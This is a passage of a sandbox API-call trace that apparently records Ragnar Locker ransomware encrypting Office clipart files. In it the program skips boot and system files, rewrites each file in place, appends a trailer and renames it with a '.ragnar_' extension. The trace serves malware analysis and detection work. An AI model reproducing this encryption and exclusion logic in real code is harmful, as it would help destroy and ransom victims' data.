Office\\CLIPART\\PUB60COR\\FD01176_.WMF.ragnar_FD7BD9FC" [0082.277] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.277] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0082.277] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.277] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01191_.WMF" | out: lpString1="FD01191_.WMF") returned="FD01191_.WMF" [0082.277] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned=".WMF" [0082.277] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.277] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="autorun.inf") returned 1 [0082.277] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="boot.ini") returned 1 [0082.277] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="bootfont.bin") returned 1 [0082.277] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="bootsect.bak") returned 1 [0082.277] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="bootmgr") returned 1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="bootmgr.efi") returned 1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="desktop.ini") returned 1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="iconcache.db") returned -1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="ntldr") returned -1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="ntuser.dat") returned -1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="ntuser.ini") returned -1 [0082.278] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="thumbs.db") returned -1 [0082.278] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.278] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.278] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.278] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.278] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.278] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.278] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0082.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.279] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3964) returned 1 [0082.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.279] GetProcessHeap () returned 0x580000 [0082.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.279] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.280] VirtualAlloc (lpAddress=0x0, dwSize=0xf7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.280] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.281] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf7c, lpOverlapped=0x0) returned 1 [0082.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.281] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.281] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf7c, lpOverlapped=0x0) returned 1 [0082.281] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.281] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.281] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.281] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.281] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.282] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.282] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.282] GetProcessHeap () returned 0x580000 [0082.282] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.282] CloseHandle (hObject=0xf4) returned 1 [0082.282] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" [0082.282] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.ragnar_FD7BD9FC" [0082.282] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.282] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0082.282] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.282] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01193_.WMF" | out: lpString1="FD01193_.WMF") returned="FD01193_.WMF" [0082.282] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned=".WMF" [0082.282] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="autorun.inf") returned 1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="boot.ini") returned 1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="bootfont.bin") returned 1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="bootsect.bak") returned 1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="bootmgr") returned 1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="bootmgr.efi") returned 1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="desktop.ini") returned 1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="iconcache.db") returned -1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="ntldr") returned -1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="ntuser.dat") returned -1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="ntuser.ini") returned -1 [0082.283] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="thumbs.db") returned -1 [0082.283] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.283] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.283] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.283] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.283] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.283] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.283] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0082.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.283] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1160) returned 1 [0082.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x47f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.284] GetProcessHeap () returned 0x580000 [0082.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.284] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.285] VirtualAlloc (lpAddress=0x0, dwSize=0x488, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.285] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x488, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x488, lpOverlapped=0x0) returned 1 [0082.285] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.286] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x488, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.286] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x488, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x488, lpOverlapped=0x0) returned 1 [0082.286] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x488, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.286] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x488, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.286] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.286] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.286] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.286] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.286] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.286] GetProcessHeap () returned 0x580000 [0082.286] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.286] CloseHandle (hObject=0xf4) returned 1 [0082.286] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" [0082.286] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.ragnar_FD7BD9FC" [0082.287] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.287] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0082.287] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.287] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01196_.WMF" | out: lpString1="FD01196_.WMF") returned="FD01196_.WMF" [0082.287] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned=".WMF" [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="autorun.inf") returned 1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="boot.ini") returned 1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="bootfont.bin") returned 1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="bootsect.bak") returned 1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="bootmgr") returned 1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="bootmgr.efi") returned 1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="desktop.ini") returned 1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="iconcache.db") returned -1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="ntldr") returned -1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="ntuser.dat") returned -1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.287] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="ntuser.ini") returned -1 [0082.288] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="thumbs.db") returned -1 [0082.288] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.288] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.288] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.288] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.288] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.288] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.288] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0082.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.288] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2332) returned 1 [0082.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x913, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.288] GetProcessHeap () returned 0x580000 [0082.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.288] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.290] VirtualAlloc (lpAddress=0x0, dwSize=0x91c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.290] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x91c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x91c, lpOverlapped=0x0) returned 1 [0082.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.290] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x91c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.290] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x91c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x91c, lpOverlapped=0x0) returned 1 [0082.290] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x91c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.290] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x91c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.291] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.291] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.291] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.291] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.291] GetProcessHeap () returned 0x580000 [0082.291] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.291] CloseHandle (hObject=0xf4) returned 1 [0082.291] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" [0082.291] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.ragnar_FD7BD9FC" [0082.291] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.292] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, 